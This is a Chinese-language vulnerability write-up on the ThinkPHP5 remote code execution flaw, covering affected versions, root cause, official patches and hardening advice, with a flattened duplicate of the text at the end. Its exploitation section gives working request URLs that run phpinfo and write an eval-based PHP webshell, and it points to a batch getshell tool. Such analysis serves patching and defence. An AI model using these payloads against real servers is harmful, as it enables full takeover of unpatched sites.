ThinkPHP5 RCE漏洞重现及分析
字数 1426 2025-08-18 11:37:49

ThinkPHP5 RCE漏洞分析与防护指南

一、漏洞概述

ThinkPHP5框架存在一个严重的安全漏洞,允许攻击者通过构造特殊的URL实现远程代码执行(RCE)。该漏洞源于框架未对控制器名称进行有效过滤,导致攻击者可以利用命名空间方式调用任意类的方法,最终可能导致服务器被完全控制。

二、影响版本

  • ThinkPHP5.x系列:5.1.31以下版本
  • ThinkPHP5.x系列:5.0.23以下版本
  • 基于受影响版本二次开发的CMS系统:
    • AdminLTE后台管理系统
    • ThinkCMF
    • ThinkSNS等

三、漏洞原理分析

1. 核心问题

漏洞根源在于$controller参数未经过严格过滤,攻击者可以通过构造包含命名空间的URL路径,直接调用任意类的公共方法。

2. 漏洞触发流程

  1. URL解析:框架通过parseUrlPath()方法解析URL路径,未对特殊字符进行过滤
  2. 控制器解析parseModuleAndClass()方法检测到\字符时,直接将输入作为类名处理
  3. 类实例化:通过controller()方法实例化指定的类
  4. 方法调用:通过反射机制调用指定方法

3. 关键代码分析

// App.php中的parseModuleAndClass方法
protected function parseModuleAndClass($name, $layer, $appendSuffix) {
    if (false !== strpos($name, '\\')) {
        $class = $name;  // 直接使用包含命名空间的类名
        $module = $this->request->module();
    } else {
        // 正常处理逻辑
    }
    return [$module, $class];
}

四、漏洞利用方式

1. 执行任意PHP代码

Windows环境(5.1.24版本):

/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Linux环境(5.1.30版本):

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

2. 写入WebShell

方法一:通过file驱动写入(5.1.x版本):

/index.php/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[pass]);?>

方法二:通过file_put_contents写入(5.0.16版本):

/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[pass]);?>

五、修复方案

1. 官方修复方式

ThinkPHP5.1版本修复
think\route\dispatch\Url类的parseUrl方法中,添加控制器名称验证:

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

ThinkPHP5.0版本修复
think\App类的module方法中添加验证:

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

2. 临时修复建议

如果应用正则表达式后出现404错误,可以尝试修改正则表达式,允许斜杠:

if (!preg_match('/^[A-Za-z\/](\w|\.)*$/', $controller)) {
    // 抛出异常
}

3. 完整修复步骤

  1. 通过Composer更新到最新安全版本:

    composer update topthink/framework
    
  2. 或手动修改框架核心文件,添加上述验证代码

六、检测工具

tp5-getshell工具

  • 项目地址:https://github.com/theLSA/tp5-getshell
  • 功能:
    • 单URL/批量检测
    • 支持三种检测模式:
      • phpinfo模式:验证漏洞存在
      • cmd shell模式:执行系统命令
      • getshell模式:写入WebShell

使用示例

# 单URL检测(phpinfo模式)
python tp5-getshell.py -u http://target.com -t 1

# 批量检测(getshell模式)
python tp5-getshell.py -f urls.txt -t 2 -s 10

七、防护建议

  1. 立即升级:将所有ThinkPHP5应用升级到最新安全版本
  2. 输入过滤:对所有用户输入进行严格验证和过滤
  3. 权限控制:Web目录设置适当的文件权限,限制可写目录
  4. WAF规则:添加针对ThinkPHP特定漏洞的防护规则
  5. 日志监控:监控异常请求,特别是包含特殊字符的URL访问

八、参考资料

  1. ThinkPHP官方安全公告:https://blog.thinkphp.cn/869075
  2. 官方修复提交:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
  3. 漏洞分析文章:https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ

注意:本文仅用于技术研究和安全防护目的,严禁用于非法用途。

ThinkPHP5 RCE漏洞分析与防护指南 一、漏洞概述 ThinkPHP5框架存在一个严重的安全漏洞,允许攻击者通过构造特殊的URL实现远程代码执行(RCE)。该漏洞源于框架未对控制器名称进行有效过滤,导致攻击者可以利用命名空间方式调用任意类的方法,最终可能导致服务器被完全控制。 二、影响版本 ThinkPHP5.x系列:5.1.31以下版本 ThinkPHP5.x系列:5.0.23以下版本 基于受影响版本二次开发的CMS系统: AdminLTE后台管理系统 ThinkCMF ThinkSNS等 三、漏洞原理分析 1. 核心问题 漏洞根源在于 $controller 参数未经过严格过滤,攻击者可以通过构造包含命名空间的URL路径,直接调用任意类的公共方法。 2. 漏洞触发流程 URL解析 :框架通过 parseUrlPath() 方法解析URL路径,未对特殊字符进行过滤 控制器解析 : parseModuleAndClass() 方法检测到 \ 字符时,直接将输入作为类名处理 类实例化 :通过 controller() 方法实例化指定的类 方法调用 :通过反射机制调用指定方法 3. 关键代码分析 四、漏洞利用方式 1. 执行任意PHP代码 Windows环境(5.1.24版本) : Linux环境(5.1.30版本) : 2. 写入WebShell 方法一:通过file驱动写入(5.1.x版本) : 方法二:通过file_ put_ contents写入(5.0.16版本) : 五、修复方案 1. 官方修复方式 ThinkPHP5.1版本修复 : 在 think\route\dispatch\Url 类的 parseUrl 方法中,添加控制器名称验证: ThinkPHP5.0版本修复 : 在 think\App 类的 module 方法中添加验证: 2. 临时修复建议 如果应用正则表达式后出现404错误,可以尝试修改正则表达式,允许斜杠: 3. 完整修复步骤 通过Composer更新到最新安全版本: 或手动修改框架核心文件,添加上述验证代码 六、检测工具 tp5-getshell工具 : 项目地址:https://github.com/theLSA/tp5-getshell 功能: 单URL/批量检测 支持三种检测模式: phpinfo模式:验证漏洞存在 cmd shell模式:执行系统命令 getshell模式:写入WebShell 使用示例 : 七、防护建议 立即升级 :将所有ThinkPHP5应用升级到最新安全版本 输入过滤 :对所有用户输入进行严格验证和过滤 权限控制 :Web目录设置适当的文件权限,限制可写目录 WAF规则 :添加针对ThinkPHP特定漏洞的防护规则 日志监控 :监控异常请求,特别是包含特殊字符的URL访问 八、参考资料 ThinkPHP官方安全公告:https://blog.thinkphp.cn/869075 官方修复提交:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815 漏洞分析文章:https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ 注意:本文仅用于技术研究和安全防护目的,严禁用于非法用途。